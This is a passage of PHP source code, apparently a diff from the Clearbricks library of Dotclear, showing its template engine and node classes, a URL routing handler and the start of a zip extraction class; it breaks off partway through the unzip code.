* Stack of compiled template files
*
* @var array
*/
protected $compile_stack = [];
/**
* Stack of parent template files
*
* @var array
*/
protected $parent_stack = [];
// Inclusion variables
/**
* Super globals
*
* @var array
*/
protected static $superglobals = ['GLOBALS', '_SERVER', '_GET', '_POST', '_COOKIE', '_FILES', '_ENV', '_REQUEST', '_SESSION'];
/**
* Stacks of globals keys
*
* @var array
*/
protected static $_k;
/**
* Working globals key name
*
* @var string
*/
protected static $_n;
/**
* Working output buffer
*
* @var string|false
*/
protected static $_r;
/**
* Constructs a new instance.
*
* @param string $cache_dir The cache dir
* @param string $self_name The self name
*/
public function __construct(string $cache_dir, string $self_name)
{
$this->setCacheDir($cache_dir);
$this->self_name = $self_name;
$this->addValue('include', [$this, 'includeFile']);
$this->addBlock('Block', [$this, 'blockSection']);
}
/**
* Node value "include" callback
*
* Syntax: {tpl:include src="filename"}
*
* @param array|ArrayObject $attr The attribute
*
* @return string
*/
public function includeFile($attr): string
{
if (!isset($attr['src'])) {
return '';
}
$src = path::clean($attr['src']);
$tpl_file = $this->getFilePath($src);
if (!$tpl_file) {
return '';
}
if (in_array($tpl_file, $this->compile_stack)) {
return '';
}
return
'<?php try { ' .
'echo ' . $this->self_name . "->getData('" . str_replace("'", "\'", $src) . "'); " .
'} catch (Exception $e) {} ?>' . "\n";
}
/**
* Node block "Block" callback
*
* Syntax: <tpl:Block name="name-of-block">[content]</tpl:Block>
*
* @param array|ArrayObject $attr The attribute
* @param string $content The content
*
* @return string
*/
public function blockSection($attr, string $content)
{
// Ignore attributes and return block content only
return $content;
}
/**
* Sets the template path(s).
*
* Arguments may be a string or an array of string
*/
public function setPath()
{
$path = [];
foreach (func_get_args() as $v) {
if (is_array($v)) {
$path = array_merge($path, array_values($v));
} else {
$path[] = $v;
}
}
foreach ($path as $k => $v) {
if (($v = path::real($v)) === false) {
unset($path[$k]);
}
}
$this->tpl_path = array_unique($path);
}
/**
* Gets the template paths.
*
* @return array
*/
public function getPath(): array
{
return $this->tpl_path;
}
/**
* Sets the cache dir.
*
* @param string $dir The dir
*
* @throws Exception
*/
public function setCacheDir(string $dir): void
{
if (!is_dir($dir)) {
throw new Exception($dir . ' is not a valid directory.');
}
if (!is_writable($dir)) {
throw new Exception($dir . ' is not writable.');
}
$this->cache_dir = path::real($dir) . '/';
}
/**
* Adds a node block callback.
*
* The callback signature must be: callback(array $attr, string &$content)
*
* @param string $name The name
* @param callable|array|null $callback The callback
*
* @throws Exception
*/
public function addBlock(string $name, $callback): void
{
if (!is_callable($callback)) {
throw new Exception('No valid callback for ' . $name);
}
$this->blocks[$name] = $callback;
}
/**
* Adds a node value callback.
*
* The callback signature must be: callback(array $attr [, string $str_attr])
*
* @param string $name The name
* @param callable|array|null $callback The callback
*
* @throws Exception
*/
public function addValue(string $name, $callback): void
{
if (!is_callable($callback)) {
throw new Exception('No valid callback for ' . $name);
}
$this->values[$name] = $callback;
}
/**
* Determines if node block exists.
*
* @param string $name The name
*
* @return bool True if block exists, False otherwise.
*/
public function blockExists(string $name): bool
{
return isset($this->blocks[$name]);
}
/**
* Determines if node value exists.
*
* @param string $name The name
*
* @return bool True if value exists, False otherwise.
*/
public function valueExists(string $name): bool
{
return isset($this->values[$name]);
}
/**
* Determines if ndoe tag (value or block) exists.
*
* @param string $name The name
*
* @return bool True if tag exists, False otherwise.
*/
public function tagExists(string $name): bool
{
return $this->blockExists($name) || $this->valueExists($name);
}
/**
* Gets the node value callback.
*
* @param string $name The value name
*
* @return callable|array|false The block callback.
*/
public function getValueCallback(string $name)
{
if ($this->valueExists($name)) {
return $this->values[$name];
}
return false;
}
/**
* Gets the node block callback.
*
* @param string $name The block name
*
* @return callable|array|false The block callback.
*/
public function getBlockCallback(string $name)
{
if ($this->blockExists($name)) {
return $this->blocks[$name];
}
return false;
}
/**
* Gets the node blocks list.
*
* @return array The blocks list.
*/
public function getBlocksList(): array
{
return array_keys($this->blocks);
}
/**
* Gets the node values list.
*
* @return array The values list.
*/
public function getValuesList(): array
{
return array_keys($this->values);
}
/**
* Gets the template file fullpath, creating it if not exist or not in cache and recent enough.
*
* @param string $file The file
*
* @throws Exception
*
* @return string
*/
public function getFile(string $file): string
{
$tpl_file = $this->getFilePath($file);
if (!$tpl_file) {
throw new Exception('No template found for ' . $file);
}
$file_md5 = md5($tpl_file);
$dest_file = sprintf(
'%s/%s/%s/%s/%s.php',
$this->cache_dir,
self::CACHE_FOLDER,
substr($file_md5, 0, 2),
substr($file_md5, 2, 2),
$file_md5
);
clearstatcache();
$stat_f = $stat_d = false;
if (file_exists($dest_file)) {
$stat_f = stat($tpl_file);
$stat_d = stat($dest_file);
}
# We create template if:
# - dest_file doest not exists
# - we don't want cache
# - dest_file size == 0
# - tpl_file is more recent thant dest_file
if (!$stat_d || !$this->use_cache || $stat_d['size'] == 0 || $stat_f['mtime'] > $stat_d['mtime']) {
files::makeDir(dirname($dest_file), true);
if (($fp = @fopen($dest_file, 'wb')) === false) {
throw new Exception('Unable to create cache file');
}
$fc = $this->compileFile($tpl_file);
fwrite($fp, $fc);
fclose($fp);
files::inheritChmod($dest_file);
}
return $dest_file;
}
/**
* Gets the file path.
*
* @param string $file The file
*
* @return bool|string The file path.
*/
public function getFilePath(string $file)
{
foreach ($this->tpl_path as $p) {
if (file_exists($p . '/' . $file)) {
return $p . '/' . $file;
}
}
return false;
}
/**
* Gets the parent file path.
*
* @param string $previous_path The previous path
* @param string $file The file
*
* @return bool|string The parent file path.
*/
public function getParentFilePath(string $previous_path, string $file)
{
$check_file = false;
foreach ($this->tpl_path as $p) {
if ($check_file && file_exists($p . '/' . $file)) {
return $p . '/' . $file;
}
if ($p == $previous_path) {
$check_file = true;
}
}
return false;
}
/**
* Gets the template file content.
*
* @param string $________ The template filename
*
* @return string The data.
*/
public function getData(string $________): string
{
self::$_k = array_keys($GLOBALS);
foreach (self::$_k as self::$_n) {
if (!in_array(self::$_n, self::$superglobals)) {
global ${self::$_n};
}
}
$dest_file = $this->getFile($________);
ob_start();
if (ini_get('display_errors')) {
include $dest_file;
} else {
@include $dest_file;
}
self::$_r = ob_get_contents();
ob_end_clean();
return self::$_r;
}
/**
* Gets the compiled tree.
*
* @param string $file The file
* @param string $err The error
*
* @return tplNode The compiled tree.
*/
protected function getCompiledTree(string $file, string &$err): tplNode
{
$fc = file_get_contents($file);
$this->compile_stack[] = $file;
// Remove every PHP tags
if ($this->remove_php) {
$fc = preg_replace('/<\?(?=php|=|\s).*?\?>/ms', '', $fc);
}
// Transform what could be considered as PHP short tags
$fc = preg_replace(
'/(<\?(?!php|=|\s))(.*?)(\?>)/ms',
'<?php echo "$1"; ?>$2<?php echo "$3"; ?>',
$fc
);
// Remove template comments <!-- #... -->
$fc = preg_replace('/(^\s*)?<!-- #(.*?)-->/ms', '', $fc);
// Lexer part : split file into small pieces
// each array entry will be either a tag or plain text
$blocks = preg_split(
'#(<tpl:\w+[^>]*>)|(</tpl:\w+>)|({{tpl:\w+[^}]*}})#msu',
$fc,
-1,
PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY
);
// Next : build semantic tree from tokens.
$rootNode = new tplNode();
$node = $rootNode;
$errors = [];
$this->parent_file = '';
foreach ($blocks as $block) {
$isblock = preg_match('#<tpl:(\w+)(?:(\s+.*?)>|>)|</tpl:(\w+)>|{{tpl:(\w+)(\s(.*?))?}}#ms', $block, $match);
if ($isblock == 1) {
if (substr($match[0], 1, 1) == '/') {
// Closing tag, check if it matches current opened node
$tag = $match[3];
if (($node instanceof tplNodeBlock) && $node->getTag() == $tag) {
$node->setClosing();
$node = $node->getParent();
} else {
// Closing tag does not match opening tag
// Search if it closes a parent tag
$search = $node;
while ($search->getTag() != 'ROOT' && $search->getTag() != $tag) {
$search = $search->getParent();
}
if ($search->getTag() == $tag) {
$errors[] = sprintf(
__('Did not find closing tag for block <tpl:%s>. Content has been ignored.'),
html::escapeHTML($node->getTag())
);
$search->setClosing();
$node = $search->getParent();
} else {
$errors[] = sprintf(
__('Unexpected closing tag </tpl:%s> found.'),
$tag
);
}
}
} elseif (substr($match[0], 0, 1) == '{') {
// Value tag
$tag = $match[4];
$str_attr = '';
$attr = [];
if (isset($match[6])) {
$str_attr = $match[6];
$attr = $this->getAttrs($match[6]);
}
if (strtolower($tag) == 'extends') {
if (isset($attr['parent']) && $this->parent_file == '') {
$this->parent_file = $attr['parent'];
}
} elseif (strtolower($tag) == 'parent') {
$node->addChild(new tplNodeValueParent($tag, $attr, $str_attr));
} else {
$node->addChild(new tplNodeValue($tag, $attr, $str_attr));
}
} else {
// Opening tag, create new node and dive into it
$tag = $match[1];
if ($tag == 'Block') {
$newnode = new tplNodeBlockDefinition($tag, isset($match[2]) ? $this->getAttrs($match[2]) : []);
} else {
$newnode = new tplNodeBlock($tag, isset($match[2]) ? $this->getAttrs($match[2]) : []);
}
$node->addChild($newnode);
$node = $newnode;
}
} else {
// Simple text
$node->addChild(new tplNodeText($block));
}
}
if (($node instanceof tplNodeBlock) && !$node->isClosed()) {
$errors[] = sprintf(
__('Did not find closing tag for block <tpl:%s>. Content has been ignored.'),
html::escapeHTML($node->getTag())
);
}
$err = '';
if (count($errors)) {
$err = "\n\n<!-- \n" .
__('WARNING: the following errors have been found while parsing template file :') .
"\n * " .
join("\n * ", $errors) .
"\n -->\n";
}
return $rootNode;
}
/**
* Compile a template file
*
* @param string $file The file
*
* @throws Exception
*
* @return string
*/
protected function compileFile(string $file): string
{
$tree = null;
$err = '';
while (true) {
if ($file && !in_array($file, $this->parent_stack)) {
$tree = $this->getCompiledTree($file, $err);
if ($this->parent_file == '__parent__') {
$this->parent_stack[] = $file;
$newfile = $this->getParentFilePath(dirname($file), basename($file));
if (!$newfile) {
throw new Exception('No template found for ' . basename($file));
}
$file = $newfile;
} elseif ($this->parent_file != '') { // @phpstan-ignore-line
$this->parent_stack[] = $file;
$file = $this->getFilePath($this->parent_file);
if (!$file) {
throw new Exception('No template found for ' . $this->parent_file);
}
} else {
return $tree->compile($this) . $err;
}
} else {
if ($tree != null) {
return $tree->compile($this) . $err;
}
return '';
}
}
}
/**
* Compile block node
*
* @param string $tag The tag
* @param array|ArrayObject $attr The attribute
* @param string $content The content
*
* @return string
*/
public function compileBlockNode(string $tag, $attr, string $content): string
{
$res = '';
if (isset($this->blocks[$tag])) {
$res .= call_user_func($this->blocks[$tag], $attr, $content);
} elseif (is_callable($this->unknown_block_handler)) {
$res .= call_user_func($this->unknown_block_handler, $tag, $attr, $content);
}
return $res;
}
/**
* Compile value node
*
* @param string $tag The tag
* @param array|ArrayObject $attr The attribute
* @param string $str_attr The string attribute
*
* @return string
*/
public function compileValueNode(string $tag, $attr, string $str_attr): string
{
$res = '';
if (isset($this->values[$tag])) {
$res .= call_user_func($this->values[$tag], $attr, ltrim((string) $str_attr));
} elseif (is_callable($this->unknown_value_handler)) {
$res .= call_user_func($this->unknown_value_handler, $tag, $attr, $str_attr);
}
return $res;
}
/**
* Compile value
*
* @param array $match The match
*
* @return string
*/
protected function compileValue(array $match): string
{
$v = $match[1];
$attr = isset($match[2]) ? $this->getAttrs($match[2]) : [];
$str_attr = $match[2] ?? null;
return call_user_func($this->values[$v], $attr, ltrim((string) $str_attr));
}
/**
* Sets the unknown value handler.
*
* @param callable|array|null $callback The callback
*/
public function setUnknownValueHandler($callback): void
{
$this->unknown_value_handler = $callback;
}
/**
* Sets the unknown block handler.
*
* @param callable|array|null $callback The callback
*/
public function setUnknownBlockHandler($callback): void
{
$this->unknown_block_handler = $callback;
}
/**
* Gets the attributes.
*
* @param string $str The string
*
* @return array The attributes.
*/
protected function getAttrs(string $str): array
{
$res = [];
if (preg_match_all('|([a-zA-Z0-9_:-]+)="([^"]*)"|ms', $str, $m) > 0) {
foreach ($m[1] as $i => $v) {
$res[$v] = $m[2][$i];
}
}
return $res;
}
}

View file

@ -0,0 +1,121 @@
<?php
/**
* @class tplNode
* @brief Template nodes, for parsing purposes
*
* Generic list node, this one may only be instanciated once for root element
*
* @package Clearbricks
* @subpackage Template
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class tplNode
{
/**
* Basic tree structure : links to parent, children forrest
*
* @var null|tplNode|tplNodeBlock|tplNodeBlockDefinition|tplNodeText|tplNodeValue|tplNodeValueParent
*/
protected $parentNode;
/**
* Node children
*
* @var ArrayObject
*/
protected $children;
/**
* Constructs a new instance.
*/
public function __construct()
{
$this->children = new ArrayObject();
$this->parentNode = null;
}
/**
* Indicates that the node is closed.
*/
public function setClosing(): void
{
// Nothing to do at this level
}
/**
* Returns compiled block
*
* @param template $tpl The current template engine instance
*
* @return string
*/
public function compile(template $tpl)
{
$res = '';
foreach ($this->children as $child) {
$res .= $child->compile($tpl);
}
return $res;
}
/**
* Add a children to current node.
*
* @param tplNode|tplNodeBlock|tplNodeBlockDefinition|tplNodeText|tplNodeValue|tplNodeValueParent $child The child
*/
public function addChild($child)
{
$this->children[] = $child;
$child->setParent($this);
}
/**
* Set current node children.
*
* @param ArrayObject $children The children
*/
public function setChildren($children)
{
$this->children = $children;
foreach ($this->children as $child) {
$child->setParent($this);
}
}
#
/**
* Defines parent for current node.
*
* @param null|tplNode|tplNodeBlock|tplNodeBlockDefinition|tplNodeValue|tplNodeValueParent $parent The parent
*/
protected function setParent($parent)
{
$this->parentNode = $parent;
}
/**
* Retrieves current node parent.
*
* If parent is root node, null is returned
*
* @return null|tplNode|tplNodeBlock|tplNodeBlockDefinition|tplNodeValue|tplNodeValueParent The parent.
*/
public function getParent()
{
return $this->parentNode;
}
/**
* Gets the tag.
*
* @return string The tag.
*/
public function getTag(): string
{
return 'ROOT';
}
}

View file

@ -0,0 +1,103 @@
<?php
/**
* @class tplNodeBlock
* @brief Block node, for all <tpl:Tag>...</tpl:Tag>
*
* @package Clearbricks
* @subpackage Template
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class tplNodeBlock extends tplNode
{
/**
* Node block tag name
*
* @var string
*/
protected $tag;
/**
* Node block tag attributes
*
* @var array
*/
protected $attr;
/**
* Closed node block flag
*
* @var bool
*/
protected $closed;
/**
* Node block content
*
* @var string
*/
protected $content;
/**
* Constructs a new instance.
*
* @param string $tag The tag
* @param array $attr The attribute
*/
public function __construct(string $tag, array $attr)
{
parent::__construct();
$this->content = '';
$this->tag = $tag;
$this->attr = $attr;
$this->closed = false;
}
/**
* Indicates that the node block is closed.
*/
public function setClosing(): void
{
$this->closed = true;
}
/**
* Determines if node block is closed.
*
* @return bool True if closed, False otherwise.
*/
public function isClosed(): bool
{
return $this->closed;
}
/**
* Compile the node block
*
* @param template $tpl The current template engine instance
*
* @return string
*/
public function compile(template $tpl): string
{
if ($this->closed) {
$content = parent::compile($tpl);
return $tpl->compileBlockNode($this->tag, $this->attr, $content);
}
// if tag has not been closed, silently ignore its content...
return '';
}
/**
* Gets the tag.
*
* @return string The tag.
*/
public function getTag(): string
{
return $this->tag;
}
}

View file

@ -0,0 +1,142 @@
<?php
/**
* @class tplNodeBlockDefinition
* @brief Block node, for all <tpl:Tag>...</tpl:Tag>
*
* @package Clearbricks
* @subpackage Template
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class tplNodeBlockDefinition extends tplNodeBlock
{
/**
* Stack of blocks
*
* @var array
*/
protected static $stack = [];
/**
* Current block
*
* @var string|null
*/
protected static $current_block = null;
/**
* Block name
*
* @var string
*/
protected $name;
/**
* Renders the parent block of currently being displayed block
*
* @param template $tpl The current template engine instance
*
* @return string The compiled parent block
*/
public static function renderParent(template $tpl)
{
return self::getStackBlock(self::$current_block, $tpl);
}
/**
* resets blocks stack
*/
public static function reset()
{
self::$stack = [];
self::$current_block = null;
}
/**
* Retrieves block defined in call stack
*
* @param string $name The block name
* @param template $tpl The current template engine instance
*
* @return string The block (empty string if unavailable)
*/
public static function getStackBlock(string $name, template $tpl)
{
$stack = &self::$stack[$name];
$pos = $stack['pos'];
// First check if block position is correct
if (isset($stack['blocks'][$pos])) {
self::$current_block = $name;
if (!is_string($stack['blocks'][$pos])) {
// Not a string ==> need to compile the tree
// Go deeper 1 level in stack, to enable calls to parent
$stack['pos']++;
$ret = '';
// Compile each and every children
foreach ($stack['blocks'][$pos] as $child) {
$ret .= $child->compile($tpl);
}
$stack['pos']--;
$stack['blocks'][$pos] = $ret;
} else {
// Already compiled, nice ! Simply return string
$ret = $stack['blocks'][$pos];
}
return $ret;
}
// Not found => return empty
return '';
}
/**
* Block definition specific constructor : keep block name in mind
*
* @param string $tag Current tag (might be "Block")
* @param array $attr Tag attributes (must contain "name" attribute)
*/
public function __construct(string $tag, array $attr)
{
parent::__construct($tag, $attr);
$this->name = '';
if (isset($attr['name'])) {
$this->name = $attr['name'];
}
}
/**
* Override tag closing processing. Here we enrich the block stack to
* keep block history.
*/
public function setClosing(): void
{
if (!isset(self::$stack[$this->name])) {
self::$stack[$this->name] = [
'pos' => 0, // pos is the pointer to the current block being rendered
'blocks' => [], ];
}
parent::setClosing();
self::$stack[$this->name]['blocks'][] = $this->children;
$this->children = new ArrayObject();
}
/**
* Compile the block definition : grab latest block content being defined
*
* @param template $tpl The current template engine instance
*
* @return string The compiled block
*/
public function compile(template $tpl): string
{
return $tpl->compileBlockNode(
$this->tag,
$this->attr,
self::getStackBlock($this->name, $tpl)
);
}
}

View file

@ -0,0 +1,48 @@
<?php
/**
* @class tplNodeText
* @brief Text node, for any non-tpl content
*
* @package Clearbricks
* @subpackage Template
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class tplNodeText extends tplNode
{
/**
* Simple text node, only holds its content
*
* @var string
*/
protected $content;
public function __construct(string $text)
{
parent::__construct();
$this->content = $text;
}
/**
* Compile node text
*
* @param template $tpl The current template engine instance
*
* @return string
*/
public function compile(template $tpl): string
{
return $this->content;
}
/**
* Gets the tag.
*
* @return string The tag.
*/
public function getTag(): string
{
return 'TEXT';
}
}

View file

@ -0,0 +1,79 @@
<?php
/**
* @class tplNodeValue
* @brief Value node, for all {{tpl:Tag}}
*
* @package Clearbricks
* @subpackage Template
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class tplNodeValue extends tplNode
{
/**
* Node tag
*
* @var string
*/
protected $tag;
/**
* Node attributes
*
* @var array
*/
protected $attr;
/**
* Node string attributes
*
* @var string
*/
protected $str_attr;
/**
* Node content
*
* @var string
*/
protected $content;
/**
* Constructs a new instance.
*
* @param string $tag The tag
* @param array $attr The attribute
* @param string $str_attr The string attribute
*/
public function __construct(string $tag, array $attr, string $str_attr)
{
parent::__construct();
$this->content = '';
$this->tag = $tag;
$this->attr = $attr;
$this->str_attr = $str_attr;
}
/**
* Compile the value node
*
* @param template $tpl The current template engine instance
*
* @return string
*/
public function compile(template $tpl): string
{
return $tpl->compileValueNode($this->tag, $this->attr, $this->str_attr);
}
/**
* Gets the tag.
*
* @return string The tag.
*/
public function getTag(): string
{
return $this->tag;
}
}

View file

@ -0,0 +1,26 @@
<?php
/**
* @class tplNodeValueParent
* @brief Value node, for all {{tpl:Tag}}
*
* @package Clearbricks
* @subpackage Template
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class tplNodeValueParent extends tplNodeValue
{
/**
* Compile node value parent
*
* @param template $tpl The current template engine instance
*
* @return string
*/
public function compile(template $tpl): string
{
// simply ask currently being displayed to display itself!
return tplNodeBlockDefinition::renderParent($tpl);
}
}

File diff suppressed because it is too large Load diff

View file

@ -0,0 +1,311 @@
<?php
/**
* @class urlHandler
*
* @package Clearbricks
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class urlHandler
{
/**
* Stack of URL types (name)
*
* @var array
*/
protected $types = [];
/**
* Default handler, used if requested type handler not registered
*
* @var callable|array
*/
protected $default_handler;
/**
* Stack of error handlers
*
* @var array Array of callable
*/
protected $error_handlers = [];
/**
* URL mode
*
* Should be 'path_info' or 'query_string'
*
* @var string
*/
public $mode;
/**
* Current handler
*
* @var string
*/
public $type = 'default';
/**
* Constructs a new instance.
*
* @param string $mode The URL mode
*/
public function __construct(string $mode = 'path_info')
{
$this->mode = $mode;
}
/**
* Register an URL handler
*
* @param string $type The URI type
* @param string $url The base URI
* @param string $representation The URI representation (regex, string)
* @param callable|array $handler The handler
*/
public function register(string $type, string $url, string $representation, $handler): void
{
$this->types[$type] = [
'url' => $url,
'representation' => $representation,
'handler' => $handler,
];
}
/**
* Register the default URL handler
*
* @param callable|array $handler The handler
*/
public function registerDefault($handler): void
{
$this->default_handler = $handler;
}
/**
* Register an error handler (prepend at the begining of the error handler stack)
*
* @param callable|array $handler The handler
*/
public function registerError($handler): void
{
array_unshift($this->error_handlers, $handler);
}
/**
* Unregister an URL handler
*
* @param string $type The type
*/
public function unregister(string $type): void
{
if (isset($this->types[$type])) {
unset($this->types[$type]);
}
}
/**
* Gets the registered URL handlers.
*
* @return array The types.
*/
public function getTypes(): array
{
return $this->types;
}
/**
* Gets the base URI of an URL handler.
*
* @param string $type The type
*
* @return mixed
*/
public function getBase(string $type)
{
if (isset($this->types[$type])) {
return $this->types[$type]['url'];
}
}
/**
* Gets the document using an URL handler.
*/
public function getDocument(): void
{
$type = $args = '';
if ($this->mode === 'path_info') {
$part = substr($_SERVER['PATH_INFO'], 1);
} else {
$part = '';
$query_string = $this->parseQueryString();
# Recreates some _GET and _REQUEST pairs
if (!empty($query_string)) {
foreach ($_GET as $k => $v) {
if (isset($_REQUEST[$k])) {
unset($_REQUEST[$k]);
}
}
$_GET = $query_string;
$_REQUEST = array_merge($query_string, $_REQUEST);
foreach ($query_string as $k => $v) {
if ($v === null) {
$part = $k;
unset($_GET[$k], $_REQUEST[$k]);
}
break;
}
}
}
$_SERVER['URL_REQUEST_PART'] = $part;
$this->getArgs($part, $type, $args);
if (!$type) {
$this->type = 'default';
$this->callDefaultHandler($args);
} else {
$this->type = $type;
$this->callHandler($type, $args);
}
}
/**
* Gets the arguments from an URI
*
* @param string $part The part
* @param mixed $type The type
* @param mixed $args The arguments
*/
public function getArgs(string $part, &$type, &$args): void
{
if ($part == '') {
$type = null;
$args = null;
return;
}
$this->sortTypes();
foreach ($this->types as $k => $v) {
$repr = $v['representation'];
if ($repr == $part) {
$type = $k;
$args = null;
return;
} elseif (preg_match('#' . $repr . '#', (string) $part, $m)) {
$type = $k;
$args = $m[1] ?? null;
return;
}
}
// No type, pass args to default
$args = $part;
}
/**
* Call an URL handler callback
*
* @param callable|array $handler The handler
* @param string $args The arguments
* @param string $type The URL handler type
*/
public function callHelper($handler, ?string $args, string $type = 'default'): void
{
if (!is_callable($handler)) {
throw new Exception('Unable to call function');
}
try {
call_user_func($handler, $args);
} catch (Exception $e) {
foreach ($this->error_handlers as $err_handler) {
if (call_user_func($err_handler, $args, $type, $e) === true) {
return;
}
}
// propagate exception, as it has not been processed by handlers
throw $e;
}
}
/**
* Call an registered URL handler callback
*
* @param string $type The type
* @param string $args The arguments
*
* @throws Exception
*/
public function callHandler(string $type, ?string $args): void
{
if (!isset($this->types[$type])) {
throw new Exception('Unknown URL type');
}
$this->callHelper($this->types[$type]['handler'], $args, $type);
}
/**
* Call the default handler callback
*
* @param string $args The arguments
*
* @throws Exception
*/
public function callDefaultHandler(?string $args): void
{
$this->callHelper($this->default_handler, $args, 'default');
}
/**
* Parse query string part of server URI
*
* @return array
*/
protected function parseQueryString(): array
{
$res = [];
if (!empty($_SERVER['QUERY_STRING'])) {
$parameters = explode('&', $_SERVER['QUERY_STRING']);
foreach ($parameters as $parameter) {
$elements = explode('=', $parameter, 2);
// Decode the parameter's name
$elements[0] = rawurldecode($elements[0]);
if (!isset($elements[1])) {
// No parameter value
$res[$elements[0]] = null;
} else {
// Decode parameter's value
$res[$elements[0]] = urldecode($elements[1]);
}
}
}
return $res;
}
/**
* Sort registered URL on their representations descending order
*/
protected function sortTypes()
{
$representations = [];
foreach ($this->types as $k => $v) {
$representations[$k] = $v['url'];
}
array_multisort($representations, SORT_DESC, $this->types);
}
}

View file

@ -0,0 +1,539 @@
<?php
/**
* @class fileUnzip
*
* @package Clearbricks
* @subpackage Zip
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class fileUnzip
{
protected $file_name;
protected $compressed_list = [];
protected $eo_central = [];
protected $zip_sig = "\x50\x4b\x03\x04"; # local file header signature
protected $dir_sig = "\x50\x4b\x01\x02"; # central dir header signature
protected $dir_sig_e = "\x50\x4b\x05\x06"; # end of central dir signature
protected $fp = null;
protected $memory_limit = null;
protected $exclude_pattern = '';
public function __construct($file_name)
{
$this->file_name = $file_name;
}
public function __destruct()
{
$this->close();
}
public function close()
{
if ($this->fp) {
fclose($this->fp);
$this->fp = null;
}
if ($this->memory_limit) {
ini_set('memory_limit', $this->memory_limit);
}
}
public function getList($stop_on_file = false, $exclude = false)
{
if (!empty($this->compressed_list)) {
return $this->compressed_list;
}
if (!$this->loadFileListByEOF($stop_on_file, $exclude) && !$this->loadFileListBySignatures($stop_on_file, $exclude)) {
return false;
}
return $this->compressed_list;
}
public function unzipAll($target)
{
if (empty($this->compressed_list)) {
$this->getList();
}
foreach ($this->compressed_list as $k => $v) {
if ($v['is_dir']) {
continue;
}
$this->unzip($k, $target . '/' . $k);
}
}
public function unzip($file_name, $target = false)
{
if (empty($this->compressed_list)) {
$this->getList($file_name);
}
if (!isset($this->compressed_list[$file_name])) {
throw new Exception(sprintf(__('File %s is not compressed in the zip.'), $file_name));
}
if ($this->isFileExcluded($file_name)) {
return;
}
$details = &$this->compressed_list[$file_name];
if ($details['is_dir']) {
throw new Exception(sprintf(__('Trying to unzip a folder name %s'), $file_name));
}
if ($target) {
$this->testTargetDir(dirname($target));
}
if (!$details['uncompressed_size']) {
return $this->putContent('', $target);
}
fseek($this->fp(), $details['contents_start_offset']);
$this->memoryAllocate($details['compressed_size']);
return $this->uncompress(
fread($this->fp(), $details['compressed_size']),
$details['compression_method'],
$details['uncompressed_size'],
$target
);
}
public function getFilesList()
{
if (empty($this->compressed_list)) {
$this->getList();
}
$res = [];
foreach ($this->compressed_list as $k => $v) {
if (!$v['is_dir']) {
$res[] = $k;
}
}
return $res;
}
public function getDirsList()
{
if (empty($this->compressed_list)) {
$this->getList();
}
$res = [];
foreach ($this->compressed_list as $k => $v) {
if ($v['is_dir']) {
$res[] = substr($k, 0, -1);
}
}
return $res;
}
public function getRootDir()
{
if (empty($this->compressed_list)) {
$this->getList();
}
$files = $this->getFilesList();
$dirs = $this->getDirsList();
$root_files = 0;
$root_dirs = 0;
foreach ($files as $v) {
if (strpos($v, '/') === false) {
$root_files++;
}
}
foreach ($dirs as $v) {
if (strpos($v, '/') === false) {
$root_dirs++;
}
}
if ($root_files == 0 && $root_dirs == 1) {
return $dirs[0];
}
return false;
}
public function isEmpty()
{
if (empty($this->compressed_list)) {
$this->getList();
}
return count($this->compressed_list) == 0;
}
public function hasFile($f)
{
if (empty($this->compressed_list)) {
$this->getList();
}
return isset($this->compressed_list[$f]);
}
public function setExcludePattern($pattern)
{
$this->exclude_pattern = $pattern;
}
protected function fp()
{
if ($this->fp === null) {
$this->fp = @fopen($this->file_name, 'rb');
}
if ($this->fp === false) {
throw new Exception('Unable to open file.');
}
return $this->fp;
}
protected function isFileExcluded($f)
{
if (!$this->exclude_pattern) {
return false;
}
return preg_match($this->exclude_pattern, (string) $f);
}
protected function putContent($content, $target = false)
{
if ($target) {
$r = @file_put_contents($target, $content);
if ($r === false) {
throw new Exception(__('Unable to write destination file.'));
}
files::inheritChmod($target);
return true;
}
return $content;
}
protected function testTargetDir($dir)
{
if (is_dir($dir) && !is_writable($dir)) {
throw new Exception(__('Unable to write in target directory, permission denied.'));
}
if (!is_dir($dir)) {
files::makeDir($dir, true);
}
}
protected function uncompress($content, $mode, $size, $target = false)
{
switch ($mode) {
case 0:
# Not compressed
$this->memoryAllocate($size * 2);
return $this->putContent($content, $target);
case 1:
throw new Exception('Shrunk mode is not supported.');
case 2:
case 3:
case 4:
case 5:
throw new Exception('Compression factor ' . ($mode - 1) . ' is not supported.');
case 6:
throw new Exception('Implode is not supported.');
case 7:
throw new Exception('Tokenizing compression algorithm is not supported.');
case 8:
# Deflate
if (!function_exists('gzinflate')) {
throw new Exception('Gzip functions are not available.');
}
$this->memoryAllocate($size * 2);
return $this->putContent(gzinflate($content, $size), $target);
case 9:
throw new Exception('Enhanced Deflating is not supported.');
case 10:
throw new Exception('PKWARE Date Compression Library Impoloding is not supported.');
case 12:
# Bzip2
if (!function_exists('bzdecompress')) {
throw new Exception('Bzip2 functions are not available.');
}
$this->memoryAllocate($size * 2);
return $this->putContent(bzdecompress($content), $target);
case 18:
throw new Exception('IBM TERSE is not supported.');
default:
throw new Exception('Unknown uncompress method');
}
}
protected function loadFileListByEOF($stop_on_file = false, $exclude = false)
{
$fp = $this->fp();
for ($x = 0; $x < 1024; $x++) {
fseek($fp, -22 - $x, SEEK_END);
$signature = fread($fp, 4);
if ($signature == $this->dir_sig_e) {
$dir_list = [];
$eodir = [
'disk_number_this' => unpack('v', fread($fp, 2)),
'disk_number' => unpack('v', fread($fp, 2)),
'total_entries_this' => unpack('v', fread($fp, 2)),
'total_entries' => unpack('v', fread($fp, 2)),
'size_of_cd' => unpack('V', fread($fp, 4)),
'offset_start_cd' => unpack('V', fread($fp, 4)),
];
$zip_comment_len = unpack('v', fread($fp, 2));
$eodir['zipfile_comment'] = $zip_comment_len[1] ? fread($fp, (int) $zip_comment_len) : '';
$this->eo_central = [
'disk_number_this' => $eodir['disk_number_this'][1],
'disk_number' => $eodir['disk_number'][1],
'total_entries_this' => $eodir['total_entries_this'][1],
